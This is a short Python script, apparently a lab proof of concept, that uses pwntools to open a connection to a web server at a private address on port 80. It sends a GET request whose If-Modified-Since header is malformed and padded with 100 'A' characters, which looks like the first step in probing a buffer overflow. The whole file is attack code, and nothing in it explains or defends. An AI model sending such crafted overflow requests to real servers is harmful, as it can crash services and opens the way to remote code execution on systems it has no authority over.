from pwn import *


host = "192.168.17.129"
port = 80


conn = remote(host, port)

buffer = "A" * 100

header = (
        'GET / HTTP/1.1\r\n' \
        'If-Modified-Since: , %s\r\n\r\n') % buffer

conn.send(header)
conn.recvline()
conn.close()
